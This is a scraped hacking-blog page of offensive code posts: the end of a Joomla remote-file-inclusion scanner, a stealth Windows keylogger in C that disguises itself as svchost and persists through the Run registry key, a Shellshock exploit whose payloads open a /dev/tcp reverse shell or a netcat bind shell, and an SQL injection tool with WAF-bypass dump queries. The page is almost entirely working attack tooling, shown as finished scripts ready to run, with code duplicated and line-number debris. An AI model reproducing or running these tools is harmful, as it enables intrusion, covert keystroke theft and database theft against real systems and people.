"administrator/components/com_mosmedia/includes/purchase.html.php" : "purchase.html.php?

mosConfig_absolute_path=shell",

"administrator/components/com_mosmedia/includes/support.html.php" : "support.html.php?mosConfig_absolute_path=shell",

"administrator/components/com_wmtportfolio/admin.wmtportfolio.php" : "admin.wmtportfolio.php?

mosConfig_absolute_path=shell",

"components/com_mp3_allopass/allopass.php" : "components/com_mp3_allopass/allopass.php?mosConfig_live_site=shell",

"components/com_mp3_allopass/allopass-error.php" : "components/com_mp3_allopass/allopass-error.php?

mosConfig_live_site=shell",

"administrator/components/com_jcs/jcs.function.php" : "administrator/components/com_jcs/jcs.function.php?

mosConfig_absolute_path=shell",

"administrator/components/com_jcs/view/add.php" : "administrator/components/com_jcs/view/add.php?

mosConfig_absolute_path=shell",

"administrator/components/com_jcs/view/history.php" : "administrator/components/com_jcs/view/history.php?

mosConfig_absolute_path=shell",

"administrator/components/com_jcs/view/register.php" : "administrator/components/com_jcs/view/register.php?

mosConfig_absolute_path=shell",

"administrator/components/com_jcs/views/list.sub.html.php" :

"administrator/components/com_jcs/views/list.sub.html.php?mosConfig_absolute_path=shell",

"administrator/components/com_jcs/views/list.user.sub.html.php" :

"administrator/components/com_jcs/views/list.user.sub.html.php?mosConfig_absolute_path=shell",

"administrator/components/com_jcs/views/reports.html.php" :

"administrator/components/com_jcs/views/reports.html.php?mosConfig_absolute_path=shell",

"com_joomla_flash_uploader/install.joomla_flash_uploader.php" :

"com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=shell",

"com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php" :

"com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?mosConfig_absolute_path=shell"}

host = sys.argv[1]

print "[+] Target:",host

try:

if show == 404:

print "[+] 404 Block On\n"

except(NameError):

print "[-] 404 Block Off\n"

show = 0

pass

print "[+] Loaded:",len(paths),"paths"

host = host.replace("http://","")

if host.count("/") >= 2:

j_path = host.split("/",1)[1].replace("index.php","")

host = host.split("/",1)[0]

else:

if host[-1:] == "/":

host = host[:-1]

j_path = ""

if j_path[-1:] != "/":

j_path = j_path+"/"

print "[+] Started:",timer()

print "[+] Scanning..."

time.sleep(3)

if proxy != 0:

h = httplib.HTTP(proxy)

else:

h = httplib.HTTP(host)

for path, shell in paths.items():

print "\n[+] Trying:",j_path+path

try:

response, reason = main(j_path+path)

if show != 404:

print "[+] Got:",response, reason

print "[+] Shell:",shell

else:

if response != 404:

print "[+] Got:",response, reason

print "[+] Shell:",shell

except(AttributeError, TypeError, socket.error):

pass

except(KeyboardInterrupt):

pass

print "\n[-] Done:",timer(),"\n"

Read Article →

Simple Keylogger in C language [Stealth Mode ].

November 20, 2014

skygear

Code Scripting

Simple Keylogger in C language [Stealth Mode ].

#include<windows.h>
#include<stdio.h>
#include<winuser.h>
#include<windowsx.h>
#define BUFSIZE 80
int test_key(void);
int create_key(char *);
int get_keys(void);
int main(void){
   HWND stealth; /*creating stealth (window is not visible)*/
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);
   int test,create;
   test=test_key();/*check if key is available for opening*/
   if (test==2){/*create key*/
       char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
       create=create_key(path);
   }
   int t=get_keys();
   return t;
}

int get_keys(void){
           short character;
             while(1)
             {
                    Sleep(10) ;/*to prevent 100% cpu usage*/
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {

                            FILE *file;
                            file=fopen("svchost.log","a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }
                            if(file!=NULL)
                            {
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }
                                    else
                                    {
                                        switch(character)
                                        {
                                              case VK_SPACE:
                                              fputc(' ',file);
                                              fclose(file);
                                              break;
                                              case VK_SHIFT:
                                              fputs("[SHIFT]",file);
                                              fclose(file);
                                              break;
                                              case VK_RETURN:
                                              fputs("\n[ENTER]",file);
                                              fclose(file);
                                              break;
                                              case VK_BACK:
                                              fputs("[BACKSPACE]",file);
                                              fclose(file);
                                              break;
                                              case VK_TAB:
                                              fputs("[TAB]",file);
                                              fclose(file);
                                              break;
                                              case VK_CONTROL:
                                              fputs("[CTRL]",file);
                                              fclose(file);
                                              break;
                                              case VK_DELETE:
                                              fputs("[DEL]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_1:
                                              fputs("[;:]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_2:
                                              fputs("[/?]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_3:
                                              fputs("[`~]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_4:
                                              fputs("[ [{ ]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_5:
                                              fputs("[\\|]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_6:
                                              fputs("[ ]} ]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_7:
                                              fputs("['\"]",file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD0:
                                              fputc('0',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD1:
                                              fputc('1',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD2:
                                              fputc('2',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD3:
                                              fputc('3',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD4:
                                              fputc('4',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD5:
                                              fputc('5',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD6:
                                              fputc('6',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD7:
                                              fputc('7',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD8:
                                              fputc('8',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD9:
                                              fputc('9',file);
                                              fclose(file);
                                              break;
                                              case VK_CAPITAL:
                                              fputs("[CAPS LOCK]",file);
                                              fclose(file);
                                              break;
                                              default:
                                              fclose(file);
                                              break;
                                       }
                                  }
                             }
                   }
               }

           }
           return EXIT_SUCCESS;
}

int test_key(void)
{
   int check;
   HKEY hKey;
   char path[BUFSIZE];
   DWORD buf_length=BUFSIZE;
   int reg_key;

   reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
   if(reg_key!=0)
   {
       check=1;
       return check;
   }

   reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);

   if((reg_key!=0)||(buf_length>BUFSIZE))
       check=2;
   if(reg_key==0)
       check=0;

   RegCloseKey(hKey);
   return check;
}

int create_key(char *path)
{
       int reg_key,check;

       HKEY hkey;

       reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
       if(reg_key==0)
       {
               RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
               check=0;
               return check;
       }
       if(reg_key!=0)
               check=1;

       return check;
}

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

#include<windows.h>

#include<stdio.h>

#include<winuser.h>

#include<windowsx.h>

#define BUFSIZE 80

int test_key(void);

int create_key(char *);

int get_keys(void);

int main(void){

HWND stealth; /*creating stealth (window is not visible)*/

AllocConsole();

stealth=FindWindowA("ConsoleWindowClass",NULL);

ShowWindow(stealth,0);

int test,create;

test=test_key();/*check if key is available for opening*/

if (test==2){/*create key*/

char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/

create=create_key(path);

}

int t=get_keys();

return t;

}

int get_keys(void){

short character;

while(1)

{

Sleep(10) ;/*to prevent 100% cpu usage*/

for(character=8;character<=222;character++)

{

if(GetAsyncKeyState(character)==-32767)

{

FILE *file;

file=fopen("svchost.log","a+");

if(file==NULL)

{

return 1;

}

if(file!=NULL)

{

if((character>=39)&&(character<=64))

{

fputc(character,file);

fclose(file);

break;

}

else if((character>64)&&(character<91))

{

character+=32;

fputc(character,file);

fclose(file);

break;

}

else

{

switch(character)

{

case VK_SPACE:

fputc(' ',file);

fclose(file);

break;

case VK_SHIFT:

fputs("[SHIFT]",file);

fclose(file);

break;

case VK_RETURN:

fputs("\n[ENTER]",file);

fclose(file);

break;

case VK_BACK:

fputs("[BACKSPACE]",file);

fclose(file);

break;

case VK_TAB:

fputs("[TAB]",file);

fclose(file);

break;

case VK_CONTROL:

fputs("[CTRL]",file);

fclose(file);

break;

case VK_DELETE:

fputs("[DEL]",file);

fclose(file);

break;

case VK_OEM_1:

fputs("[;:]",file);

fclose(file);

break;

case VK_OEM_2:

fputs("[/?]",file);

fclose(file);

break;

case VK_OEM_3:

fputs("[`~]",file);

fclose(file);

break;

case VK_OEM_4:

fputs("[ [{ ]",file);

fclose(file);

break;

case VK_OEM_5:

fputs("[\\|]",file);

fclose(file);

break;

case VK_OEM_6:

fputs("[ ]} ]",file);

fclose(file);

break;

case VK_OEM_7:

fputs("['\"]",file);

fclose(file);

break;

case VK_NUMPAD0:

fputc('0',file);

fclose(file);

break;

case VK_NUMPAD1:

fputc('1',file);

fclose(file);

break;

case VK_NUMPAD2:

fputc('2',file);

fclose(file);

break;

case VK_NUMPAD3:

fputc('3',file);

fclose(file);

break;

case VK_NUMPAD4:

fputc('4',file);

fclose(file);

break;

case VK_NUMPAD5:

fputc('5',file);

fclose(file);

break;

case VK_NUMPAD6:

fputc('6',file);

fclose(file);

break;

case VK_NUMPAD7:

fputc('7',file);

fclose(file);

break;

case VK_NUMPAD8:

fputc('8',file);

fclose(file);

break;

case VK_NUMPAD9:

fputc('9',file);

fclose(file);

break;

case VK_CAPITAL:

fputs("[CAPS LOCK]",file);

fclose(file);

break;

default:

fclose(file);

break;

}

return EXIT_SUCCESS;

}

int test_key(void)

{

int check;

HKEY hKey;

char path[BUFSIZE];

DWORD buf_length=BUFSIZE;

int reg_key;

reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);

if(reg_key!=0)

{

check=1;

return check;

}

reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);

if((reg_key!=0)||(buf_length>BUFSIZE))

check=2;

if(reg_key==0)

check=0;

RegCloseKey(hKey);

return check;

}

int create_key(char *path)

{

int reg_key,check;

HKEY hkey;

reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);

if(reg_key==0)

{

RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));

check=0;

return check;

}

if(reg_key!=0)

check=1;

return check;

}

Read Article →

Shellshock apache mod_cgi remote exploit script.

October 16, 2014

skygear

Code Scripting, Exploits

Shellshock apache mod_cgi remote exploit script.

#! /usr/bin/env python
from socket import *
from threading import Thread
import thread, time, httplib, urllib, sys 
stop = False
proxyhost = ""
proxyport = 0
def usage():
    print """
        Shellshock apache mod_cgi remote exploit
Usage:
./exploit.py var=<value>
Vars:
rhost: victim host
rport: victim port for TCP shell binding
lhost: attacker host for TCP shell reversing
lport: attacker port for TCP shell reversing
pages:  specific cgi vulnerable pages (separated by comma)
proxy: host:port proxy
Payloads:
"reverse" (unix unversal) TCP reverse shell (Requires: rhost, lhost, lport)
"bind" (uses non-bsd netcat) TCP bind shell (Requires: rhost, rport)
Example:
./exploit.py payload=reverse rhost=1.2.3.4 lhost=5.6.7.8 lport=1234
./exploit.py payload=bind rhost=1.2.3.4 rport=1234
Credits:
Federico Galatolo 2014
"""
    sys.exit(0)
def exploit(lhost,lport,rhost,rport,payload,pages):
    headers = {"Cookie": payload, "Referer": payload}
    
    for page in pages:
        if stop:
            return
        print "[-] Trying exploit on : "+page
        if proxyhost != "":
            c = httplib.HTTPConnection(proxyhost,proxyport)
            c.request("GET","http://"+rhost+page,headers=headers)
            res = c.getresponse()
        else:
            c = httplib.HTTPConnection(rhost)
            c.request("GET",page,headers=headers)
            res = c.getresponse()
        if res.status == 404:
            print "[*] 404 on : "+page
        time.sleep(1)
        
args = {}
    
for arg in sys.argv[1:]:
    ar = arg.split("=")
    args[ar[0]] = ar[1]
try:
    args['payload']
except:
    usage()
    
if args['payload'] == 'reverse':
    try:
        lhost = args['lhost']
        lport = int(args['lport'])
        rhost = args['rhost']
        payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &"
    except:
        usage()
elif args['payload'] == 'bind':
    try:
        rhost = args['rhost']
        rport = args['rport']
        payload = "() { :;}; /bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'"
    except:
        usage()
else:
    print "[*] Unsupported payload"
    usage()
    
try:
    pages = args['pages'].split(",")
except:
    pages = ["/cgi-sys/entropysearch.cgi","/cgi-sys/defaultwebpage.cgi","/cgi-mod/index.cgi","/cgi-bin/test.cgi","/cgi-bin-sdb/printenv"]
try:
    proxyhost,proxyport = args['proxy'].split(":")
except:
    pass
            
if args['payload'] == 'reverse':
    serversocket = socket(AF_INET, SOCK_STREAM)
    buff = 1024
    addr = (lhost, lport)
    serversocket.bind(addr)
    serversocket.listen(10)
    print "[!] Started reverse shell handler"
    thread.start_new_thread(exploit,(lhost,lport,rhost,0,payload,pages,))
if args['payload'] == 'bind':
    serversocket = socket(AF_INET, SOCK_STREAM)
    addr = (rhost,int(rport))
    thread.start_new_thread(exploit,("",0,rhost,rport,payload,pages,))
    
buff = 1024
    
while True:
    if args['payload'] == 'reverse':
        clientsocket, clientaddr = serversocket.accept()
        print "[!] Successfully exploited"
        print "[!] Incoming connection from "+clientaddr[0]
        stop = True
        clientsocket.settimeout(3)
        while True:
            reply = raw_input(clientaddr[0]+"> ")
            clientsocket.sendall(reply+"\n")
            try:
                data = clientsocket.recv(buff)
                print data
            except:
                pass
        
    if args['payload'] == 'bind':
        try:
            serversocket = socket(AF_INET, SOCK_STREAM)
            time.sleep(1)
            serversocket.connect(addr)
            print "[!] Successfully exploited"
            print "[!] Connected to "+rhost
            stop = True
            serversocket.settimeout(3)
            while True:
                reply = raw_input(rhost+"> ")
                serversocket.sendall(reply+"\n")
                data = serversocket.recv(buff)
                print data
        except:
            pass

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

#! /usr/bin/env python

from socket import *

from threading import Thread

import thread, time, httplib, urllib, sys

stop = False

proxyhost = ""

proxyport = 0

def usage():

print """

Shellshock apache mod_cgi remote exploit

Usage:

./exploit.py var=<value>

Vars:

rhost: victim host

rport: victim port for TCP shell binding

lhost: attacker host for TCP shell reversing

lport: attacker port for TCP shell reversing

pages: specific cgi vulnerable pages (separated by comma)

proxy: host:port proxy

Payloads:

"reverse" (unix unversal) TCP reverse shell (Requires: rhost, lhost, lport)

"bind" (uses non-bsd netcat) TCP bind shell (Requires: rhost, rport)

Example:

./exploit.py payload=reverse rhost=1.2.3.4 lhost=5.6.7.8 lport=1234

./exploit.py payload=bind rhost=1.2.3.4 rport=1234

Credits:

Federico Galatolo 2014

"""

sys.exit(0)

def exploit(lhost,lport,rhost,rport,payload,pages):

headers = {"Cookie": payload, "Referer": payload}

for page in pages:

if stop:

return

print "[-] Trying exploit on : "+page

if proxyhost != "":

c = httplib.HTTPConnection(proxyhost,proxyport)

c.request("GET","http://"+rhost+page,headers=headers)

res = c.getresponse()

else:

c = httplib.HTTPConnection(rhost)

c.request("GET",page,headers=headers)

res = c.getresponse()

if res.status == 404:

print "[*] 404 on : "+page

time.sleep(1)

args = {}

for arg in sys.argv[1:]:

ar = arg.split("=")

args[ar[0]] = ar[1]

try:

args['payload']

except:

usage()

if args['payload'] == 'reverse':

try:

lhost = args['lhost']

lport = int(args['lport'])

rhost = args['rhost']

payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &"

except:

usage()

elif args['payload'] == 'bind':

try:

rhost = args['rhost']

rport = args['rport']

payload = "() { :;}; /bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'"

except:

usage()

else:

print "[*] Unsupported payload"

usage()

try:

pages = args['pages'].split(",")

except:

pages = ["/cgi-sys/entropysearch.cgi","/cgi-sys/defaultwebpage.cgi","/cgi-mod/index.cgi","/cgi-bin/test.cgi","/cgi-bin-sdb/printenv"]

try:

proxyhost,proxyport = args['proxy'].split(":")

except:

pass

if args['payload'] == 'reverse':

serversocket = socket(AF_INET, SOCK_STREAM)

buff = 1024

addr = (lhost, lport)

serversocket.bind(addr)

serversocket.listen(10)

print "[!] Started reverse shell handler"

thread.start_new_thread(exploit,(lhost,lport,rhost,0,payload,pages,))

if args['payload'] == 'bind':

serversocket = socket(AF_INET, SOCK_STREAM)

addr = (rhost,int(rport))

thread.start_new_thread(exploit,("",0,rhost,rport,payload,pages,))

buff = 1024

while True:

if args['payload'] == 'reverse':

clientsocket, clientaddr = serversocket.accept()

print "[!] Successfully exploited"

print "[!] Incoming connection from "+clientaddr[0]

stop = True

clientsocket.settimeout(3)

while True:

reply = raw_input(clientaddr[0]+"> ")

clientsocket.sendall(reply+"\n")

try:

data = clientsocket.recv(buff)

print data

except:

pass

if args['payload'] == 'bind':

try:

serversocket = socket(AF_INET, SOCK_STREAM)

time.sleep(1)

serversocket.connect(addr)

print "[!] Successfully exploited"

print "[!] Connected to "+rhost

stop = True

serversocket.settimeout(3)

while True:

reply = raw_input(rhost+"> ")

serversocket.sendall(reply+"\n")

data = serversocket.recv(buff)

print data

except:

pass

Read Article →

[Python Script] – AnonGhost Auto SQLi Query Maker.

September 8, 2014

skygear

Code Scripting, Penetration Test, Sql Injection

AnonGhost Auto SQLi Query Maker.

#/!python
import time

time.sleep(.5)
print "\n        ---####################################################---"
print "      -----#                                                  #-----"
print "   --------#       AnonGhost Auto SQLi Query Maker            #--------"
print "      -----#                   Coded By -tr0jAn*              #-----"
print "        ---#                                                  #---"
print "          -####################################################-\n\n"
time.sleep(.7)
print "\n Greets To :\n ------------------------------------------------------------------------------\nrummykhan :: MakMan :: madcodE :: Mauritania Attacker :: HusseiN98d :: Kai H4x0r :: j0k3r :: Ch3rn0by1 :: vIrkId :: Zen :: Mr.Nob :: Shafoon :: G~26 :: madblood :: Str!k3r :: No~FacE :: Tech Prospect :: ajkaro \n---------------------------- PCP :: PHC :: AnonGhost ---------------------------"
time.sleep(1)
print "\n"
url = raw_input("Website Vulnerable URL : ")


#				username = "test"
#				if(username !='trojan' or username !='anonghost' or username !='test'):
#					print "Invalid ! Please Enter The Correct Login"
#				else:
#					continue

rp = "Just Paste This In 'Hackbar' OR 'URL Bar' And After It Do The UNION SELECTION.. Then Replace The Vulnerable Column With @x And See The MAGIC :D"
sdt = "div @x:=concat((select(@)from(Select(@:=0x00),(@r:=0),(select(@)from(information_schema.tables)Where(table_schema=database())and(@)in(@:=concat(@,0x3c62723e,LPAD(@r:=@r%2b1,2,0x30),0x2e20,unhex(hex(table_name))))))x))"
sdtc = "div @x:=concat((select(@)from(Select(@:=0x00),(select(@)from(information_schema.columns)Where(table_schema=database())and(@)in(@:=concat(@,0x3c62723e,unhex(hex(table_name)),0x203a3a3a20,unhex(hex(column_name))))))x))"
gct = "div @x:=concat(if(@a!=0,@a:=0,@a:=0),0x3c62723e3c62723e,(select unhex(hex(group_concat(lpad(@a:=@a%2b1,2,0x30),0x2e20,table_name separator 0x3c62723e))) from information_schema.tables where table_schema=database()))"
dtwf = "div @x:=concat/*!((/*!00000select*/ (@) /*!from*/ (/*!00000select*/ (@:=0x00),(@r:=0),(/*!00000select*/ (@) from(information_schema./**/tables)where(table_schema=database())and(@)in(@:=concat/*!(@,0x3c62723e,LPAD(@r:=@r%2b1,2,0x30),0x2e20,unhex(hex(table_name))))))x))*/"
dtcwf = "div @x:=concat/*!((/*!00000select*/ (@) /*!from*/ (/*!00000select*/ (@:=0x00),(@r:=0),(/*!00000select*/ (@) from(information_schema./**/columns)where(table_schema=database())and(@)in(@:=concat/*!(@,0x3c62723e,unhex(hex(table_name)),0x203a3a20,unhex(hex(column_name))))))x))*/"
mdwf = "div @x:=concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@)/*!from*/(/*!12345selEcT*/(@:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@:=Concat/*!(@, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/"
mds = "div @x:=unhex(hex(concat(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,concat(concat(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203a3a203c2f666f6e743e3c2f63656e7465723e3c2f623e),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),concat(0x3c62723e3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c62723e546f74616c205461626c657320496e20416c6c20446174616261736573203a3a20,(select count(*) from information_Schema.tables),0x3c62723e5461626c657320436f756e7420496e205072696d617279204461746162617365203a3a20,(Select count(*) from information_Schema.tables where table_schema=database()),(select(@)from(select(@:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(select(0) from(information_schema.columns)where(table_schema=database()) and(0x00)in(@:=Concat(@, 0x3c62723e, if( (@tbl!=table_name), Concat(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,LPAD(@r:=@r%2B1, 2, 0x30),0x2e,@tbl:=table_name,0x3c666f6e7420636f6c6f723d626c61636b3e203a3a20436f6c756d6e7320496e2054686973205461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@tbl),0x20284461746162617365203a3a20,database(),0x29,0x3c2f666f6e743e,0x3c62723e), 0x00),0x203a3a20,0x3c666f6e7420636f6c6f723d677265656e2073697a653d323e,0x7e20,column_name,0x3c2f666f6e743e ))))x))))))"
dd = "div @x:=concat((select(@)from(select(@:=0x00),(select(@)from(information_schema.schemata)where(@)in(@:=concat(@,0x3c62723e,unhex(hex(schema_name))))))x))"
ddwf = "div @x:=concat/*!((/*!00000select*/(@)/*!from*/(/*!00000select*/(@:=0x00),(/*!00000select*/(@)from(information_schema./**/schemata)where(@)in(@:=concat/*!(@,0x3c62723e,unhex(hex(schema_name))))))x))*/"
gcd = "div @x:=concat(if(@a!=0,@a:=0,@a:=0),0x3c62723e3c62723e,(select group_concat(lpad(@a:=@a%2b1,2,0x30),0x2e20,unhex(hex(schema_name)) separator 0x3c62723e) from information_Schema.schemata))"
bdz = "div @x:=(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(table_schema=database())and(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@)))"
bdzwf = "div @x:=(/*!00000select*/(/*!00000select*/ concat/*!(@:=0xa7,(/*!00000select*/ count(*)/*!from*/(information_schema./**/columns)where(table_schema=database())and(@:=concat/*!(@,0x3c6c693e,table_name,0x203a3a20,column_name))),@)*/))"
bmb = "div @x:=(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where(table_schema=database())and @:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))"
bmbwf = "div @x:=(/*!00000Select*/ export_set(5,@:=0,(/*!00000select*/ count(*)/*!from*/(information_schema./**/columns)where(table_schema=database()) and @:=export_set(5,export_set(5,@,/*!table_name*/,0x3c6c693e,2),/*!column_name*/,0x203a3a20,2)),@,2))"
msd = "div @x:=make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where(table_schema=database())and @:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)"
msdwf = "div @x:=make_set(6,@:=0x0a,(/*!00000select*/(1)/*!from*/(information_schema./**/columns)where(table_schema=database())and @:=make_set(511,@,0x3c6c693e,/*!table_name*/,0x203a3a20,/*!column_name*/)),@)"
bkt = "div @x:=concat(@i:=0x00,@x:=0x00,benchmark(10,@x:=CONCAT(@x,(SELECT concat(0x3c62723e,@i:=table_name) from information_schema.tables where (table_schema=database()) and table_name >@i order by table_name LIMIT 1))),@x)"
dec = "div @x:=(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_schema,0x203a3a20,table_name,0x203a3a20,column_name))),@)))"
dewc = "div @x:=make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where @:=make_set(511,@,0x3c6c693e,table_name,0x203a20,table_name,0x203a20,column_name)),@)"
bktwf = "div @x:=concat/*!(@i:=0x00,@y:=0x00,benchmark(10,@y:=CONCAT/*!(@y,(/*!00000SELECT*/ concat/*!(0x3c62723e,@i:=table_name) /*!from*/ information_schema./**/tables where (table_schema=database()) and table_name >@i order by table_name LIMIT 1))),@y)"
decwf = "div @x:=(/*!00000select*/(/*!00000select*/ concat/*!(@:=0xa7,(/*!00000select*/ count(*)/*!from*/(information_schema./**/columns)where(@:=concat/*!(@,0x3c6c693e,table_schema,0x202d2d2d3e20,table_name,0x203a3a20,column_name))),@)*/))"
dewcwf = "div @x:=make_set(6,@:=0x0a,(/*!00000select*/(1)/*!from*/(information_schema./**/columns)where@:=make_set(511,@,0x3c6c693e,/*!table_schema*/,0x203a3a20,/*!table_name*/,0x203a3a20,/*!column_name*/)),@)"
ueb = "div @x:=%63oncaT((%53elECt (@x) %66rom (%53elECt (@x:=0x00),(@r:=0),(%53elECt (0) from(%69nformation_schema.tables)%77here (%74ablE_schema=database()) and (0x00) in (@x:=%63oncat (@x,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1,2,0x30),0x2920,0x3c2f666f6e743e,%74able_name))))x)) %55nion %53elect "
escb = "div @x:=(concat_ws((0x0),(select(@)from(select(@:=0x00),(@r:=0),(select(@)from(informatioN_schema.tables)where(table_Schema=database())and(@)in(@:=concat_ws((0x0),(@),(0x3c62723e),(LPAD((@r:=@r%2b1),(2),(0x30))),(0x2e20),(table_name),(0x0)))))x))))UNION(select([No.Of Cols Here With Separate Brackets like (1),(2),(3)])"
hwb = "div @x:=concat_ws(0x00,(/*!00000select*%2f(@)/*!from*%2f(/*!00000select*%2f(@:=0x00),(/*!00000select*%2f(@)/*!from*%2f(/*!information_schema*%2f.columns)/*!where*%2f(table_schema=database/*!()*%2f)and(0x00)in/*!(@:=concat_ws(0x00,(@),(0x3c62723e),(table_name),(0x203a3a20),(column_name))*%2f)))x))"
